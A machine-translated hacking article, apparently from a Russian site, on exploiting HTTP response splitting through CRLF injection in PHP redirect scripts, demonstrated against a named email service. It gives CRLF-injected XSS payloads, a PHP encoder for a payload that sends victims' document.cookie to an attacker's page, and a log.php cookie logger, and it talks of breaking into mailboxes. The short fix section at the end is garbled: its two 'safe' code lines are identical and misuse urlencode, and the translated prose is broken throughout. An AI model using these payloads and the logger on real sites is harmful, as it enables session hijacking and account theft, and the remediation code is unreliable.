This page has been robot translated, sorry for typos if any. Original content here.

HTTP splitting vulnerability

The article discusses the practical application of a vulnerability known as HTTP splitting vulnerability

A basic header () under a microscope

Wandering the vastness of the Internet, we often see the url of the form The simple-minded user does not stop thinking for a long time, he just clicks on it and caters to An inquisitive user substitutes the url address for the address of his hompagy, he is also convinced of the curvature of the script.
Besides simple also curious on the Internet live rather curious users. They drive a link in AccessDiver also begin to learn the work of the script.

1. The essence of the bug.
2. Practical application.
3. Location of the prevalence of error.
4. Means of protection.

for tankmen I suggest that AccessDiver is "Hakre", as it is customary to express in a nation, a weapon. Download it is allowed on the offsite project. At the time of writing this text, the latest version of the utility was 4.173. The program is most known for its HTTP Debuger function. You can use it by going to expert mode, also selecting the appropriate function in the Tools menu (F4 then Ctrl + F9 - depending on the version of the keys could be changed). Next, we will not stress the care for its tuning, any schoolboy will cope with the diver.

for experiments we chose , because this is the most well-known email service in the runet also the reader will be especially interested in learning about the bug on this project;) Let's go to the link / . We will be thrown on the most select portal for computer security;). We add the site to the bookmarks and return to the e-mail. Write the link that interests us in the HTTP Address field, put Mode equal to Get, click Connect.
We will see the HTTP headers returned by the server, like in the screenshot:

Let's pay attention to the underlined line. Having met in the headers Location:, the browser unconditionally carries us to the specified url. Therefore, we can shove the user with a link, as if on a mail, but he does not get to the mail at all. All this is wonderful, but in practice, nothing can alienate.

Let's pay attention to the fact that the lines in the header are separated by two characters 0Dh 0Ah . And what if you assign them at the end of the link? Let's see what will return the server to the objection to the request :

How interesting. So we can force the server to give out almost every header. For example, modify custom cookies. But, again, it's still not as interesting as what is waiting for us ahead. It is interesting that the headings are separated from the body of the act by the sequence 0Dh 0Ah 0Dh 0Ah . Are we able to give out completely any page? We enter 0D% 0A% 0D% 0A <script> alert (document.cookie); </ script> <! - also look:

All that is yellow is the text of the document itself. If JavaScript is enabled in the browser, then by clicking on the link we will see the message box with our cookies. In order to commit XSS attack, you need:
1) Compose a page of the type <script> document.location = ''+document.cookie; </ script>
2) Translate it into url-encode using the script:

<? php
$ url = "";
$ s = "<script> document.location = 'http: //'";
$ s. = "+ document.cookie; </ script>";
$ res = "";
for ($ i = 0; $ i <strlen ($ s); $ i ++)
$ res. = "%";
$ t = ord ($ s [$ i]);
if ($ t <16)
$ res. = "0";
$ res. = dechex ($ t);

echo $ url. "% 0d% 0a% 0d% 0a". $ res;

We get: ... and so on. (**)

3) write the script log.php also fill it with
<? php
$ fid = fopen ("../log.txt", "a");
fputs ($ fid, $ _SERVER ["QUERY_STRING"]. "\ r \ r \ r");
fclose ($ fid);
header ("Location:");

Now it is allowed to forge a magical reference (**) also to acquire the victim's cookies.
They are allowed to do a lot of useful things, for example, to get access to the mail, but about this at some other time, we also so distracted from the main topic.

Of course, you do not need to drive to the email, it's a dummy resource, shit, and finally can not be from our sandbox. It is common for all people to make a mistake, but the admins of are less likely to make mistakes less often. True bugs still remain. , people are silent about them in no way because of greed, but because of fear of inadequate reaction of the administration to their finding, which, according to statistics, has a place. Fortunately, the presence of XSS still does not guarantee access to the mailbox. I'm sure the bug will be covered. At the latest - after 2 days. Vulnerable not only I strongly recommend that you read:[XSS][XSS]

Frankly, we were surprised at the time when I learned that such vulnerabilities were written on 3 years ago (see Introduction of CRLF in PHP function header () from 10.09.2002), but as for the practical use of the bug, we do not I've never heard it, I found the topic relevant. By that blah blah, it's permissible to name bugs in Yandex, and also mail.

Correct the error is not difficult. Let the vulnerable script eat:

if (! isset ($ url))
$ url = "";

header ("Location: $ url");


We make him invulnerable:

header ("Location:" .urlencode ($ url));

If a redirect is planned only within the site, then it is best to do so:

header ("Location:".urlencode($url));

That's probably all we wanted to say. Let me next suggest a few more XSS: "> <h1> XSS </ h1> "<h1> XSS </ h1>